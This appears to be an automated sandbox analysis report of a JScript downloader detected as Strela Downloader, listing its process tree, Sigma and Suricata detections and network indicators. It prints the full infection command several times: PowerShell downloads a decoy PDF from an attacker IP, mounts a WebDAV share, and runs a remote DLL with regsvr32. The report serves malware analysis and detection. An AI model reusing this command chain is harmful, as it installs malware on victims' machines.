Edit tour

Windows Analysis Report
2045514992161325262.js

Overview

General Information

Sample name:	2045514992161325262.js
Analysis ID:	1587704
MD5:	bfbe1b4ccad164c1f692144c466cb0b6
SHA1:	bec09b4695aae44d9e78b1457dcc2e757544a6e8
SHA256:	540657fac382e9acdf2245276c422ba64145734fe51d39f69b53a9817bd1a787
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3320 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5476 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4932 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5952 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,16643492209832112376,18051513336928629735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2016 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1936 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5692 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3320	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ProcessId: 3320, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1936, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5476, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5476, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5476, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5476, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5476, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ProcessId: 3320, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2016, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1936, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5692, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2016, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1936, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5476, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:10:47.592211+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:10:44.875011+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2045514992161325262.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2045514992161325262.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:10:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

